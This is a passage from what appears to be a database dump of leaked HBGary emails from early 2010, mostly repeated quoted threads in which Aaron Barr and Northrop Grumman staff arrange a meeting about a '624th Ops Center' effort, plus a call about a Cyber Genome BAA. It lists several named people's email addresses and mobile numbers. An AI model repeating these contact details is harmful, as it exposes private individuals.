8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Good to hear from you (virtual secret handshake\r\nextended).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds good.  I am in the springs through wednesday.\r\n Get in the afternoon.  We have meetings with Lawrence hill and\r\ncomany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt; \r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.  I’d like to have an informal discussion\r\nwith you some time on what you’re doing now.  I suspect that it would be\r\nbeneficial to both companies to for us to talk.  Please let me know if\r\nyou’re interested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.  Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.  I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort. \r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio—I’ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work that\r\nhe believes will be of interest to you.  He’ll be in touch soon.  \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9199,'aaron_hbgary_com/9199.html'),(1843,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000624.M636229P3547Q1844.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp; What time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk just let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be\r\nbeneficial to both companies to for us to talk.&nbsp; Please let me know if\r\nyou&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of CyberSpace\r\nOperations Consulting, LLC.&nbsp; Fundamentally her company is interested, but\r\nwants NGC to pay her company upfront to consultant in bringing this business\r\ncase together.&nbsp; I conveyed that was not going to work, but if she could\r\nget her boss to sign the NDA, I would work with her to see how they might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she did\r\nnot seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon.\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13970,'aaron_hbgary_com/13970.html'),(1844,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000624.M835954P3547Q1845.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','All afternoonFrom my iPhoneOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOK.  What time are you available today?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk just let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.  Tues we have our Bethpage “owners” coming\r\nout for interrogations and beatings.  Does that work for you?\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood.  I am in the springs through wednesday.  Get in the afternoon.\r\n We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.  I’d like to have an informal discussion\r\nwith you some time on what you’re doing now.  I suspect that it would be\r\nbeneficial to both companies to for us to talk.  Please let me know if\r\nyou’re interested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of CyberSpace\r\nOperations Consulting, LLC.  Fundamentally her company is interested, but\r\nwants NGC to pay her company upfront to consultant in bringing this business\r\ncase together.  I conveyed that was not going to work, but if she could\r\nget her boss to sign the NDA, I would work with her to see how they might fit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort. \r\nWe left it with her going to see her boss and present the case (for which she did\r\nnot seem overly enthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio—I’ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.  He’ll be in touch soon.\r\n \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3113,'aaron_hbgary_com/3113.html'),(1845,'2010-02-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000624.M8372P3547Q1841.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD / HBGary teleconference on February 5th to discuss Cyber 	Genome BAA and teaming opportunity','Chris,\r\n \r\nI am still trying to verify Greg Hoglund&#39;s availability on Friday.  Both 11 am and 3 pm ET work for Aaron Barr and myself.\r\n \r\nBob\r\nOn Fri, Jan 29, 2010 at 6:04 PM, Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\nBob,\r\n \r\nRegarding scheduling a GD / HBGary teleconference on Friday, February 5th to discuss the Cyber Genome BAA and teaming opportunity, It appears the best time for us to meet would be 11 AM Eastern or anytime after 3 PM Eastern.  Let me know which time works best with you and the HBGary Federal group.\r\n\r\n \r\nBest regards,\r\n \r\nChris\r\n \r\nChristopher H. Starr\r\nPrincipal Investigator, Cyber Security Initiatives\r\nGeneral Dynamics Advanced Information Systems\r\n1421 Jefferson Davis Hwy, Suite 600, Arlington, VA 22202\r\n\r\nChris.Starr@gd-ais.com\r\n571-216-6140\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',15573,'aaron_hbgary_com/15573.html'),(1846,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000625.M256763P3547Q1847.eml','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','Re: 624th Ops Center--Next Steps','Sure still up north?From my iPhoneOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow about 1300L?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAll afternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK. \r\nWhat time are you available today?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.  Tues we have our Bethpage “owners” coming\r\nout for interrogations and beatings.  Does that work for you?\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood.  I am in the springs through wednesday.  Get in the afternoon.\r\n We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.  I’d like to have an informal discussion\r\nwith you some time on what you’re doing now.  I suspect that it would be\r\nbeneficial to both companies to for us to talk.  Please let me know if\r\nyou’re interested.  Thanks.\r\n\r\n \r\n\r\nTorch\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.  Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.  I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n \r\n\r\nOf note, she wasn’t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort. \r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)—we’ll see.  \r\n\r\n \r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.  \r\n\r\n \r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio—I’ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n \r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.  He’ll be in touch soon.\r\n \r\n\r\n \r\n\r\nJim &#39;Torch&#39; Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n \r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nBest regards, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7820,'aaron_hbgary_com/7820.html'),(1847,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000625.M30389P3547Q1846.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about 1300L?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll afternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp;\r\nWhat time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreetings\r\nfrom the Secret Squirrel Society.&nbsp; I&#8217;d like to have an informal discussion\r\nwith you some time on what you&#8217;re doing now.&nbsp; I suspect that it would be\r\nbeneficial to both companies to for us to talk.&nbsp; Please let me know if\r\nyou&#8217;re interested.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, January 29, 2010 3:47 PM\r\nTo: Aaron Barr; Hale, Jim (AS)\r\nSubject: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of\r\nCyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is\r\ninterested, but wants NGC to pay her company upfront to consultant in bringing\r\nthis business case together.&nbsp; I conveyed that was not going to work, but\r\nif she could get her boss to sign the NDA, I would work with her to see how\r\nthey might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing\r\n2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp;\r\nWe left it with her going to see her boss and present the case (for which she\r\ndid not seem overly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have\r\non this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim\r\nPeppe, Jim Hale, Mike Edwards, and others that you know to assist with senior\r\ncustomer interface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we\r\nshould plan to rendezvous in San Antonio&#8212;I&#8217;ll stay on top of this and keep you\r\nin-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work\r\nthat he believes will be of interest to you.&nbsp; He&#8217;ll be in touch soon.\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763\r\n(mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478\r\n(mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4418,'aaron_hbgary_com/4418.html'),(1848,'2010-02-01','\"Hale, Jim (AS)\" <jim.hale@ngc.com>','/aaron@hbgary.com/new/1297000625.M474977P3547Q1848.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:13 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure still up north?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:11 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\nabout 1300L?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:10 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll\r\nafternoon\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 12:09 PM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK.&nbsp;\r\nWhat time are you available today?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 12:08 PM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk\r\njust let me know.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 11:23 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaybe\r\nlate this PM or early Wed AM.&nbsp; Tues we have our Bethpage &#8220;owners&#8221; coming\r\nout for interrogations and beatings.&nbsp; Does that work for you?\r\n\r\n&nbsp;\r\n\r\nTorch\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 01, 2010 8:32 AM\r\nTo: Hale, Jim (AS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nGood to hear from you (virtual secret handshake extended).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I am in the springs through wednesday. &nbsp;Get in the afternoon.\r\n&nbsp;We have meetings with Lawrence hill and comany tomorrow afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 9:16 AM, &quot;Hale, Jim (AS)&quot; &lt;jim.hale@ngc.com&gt; 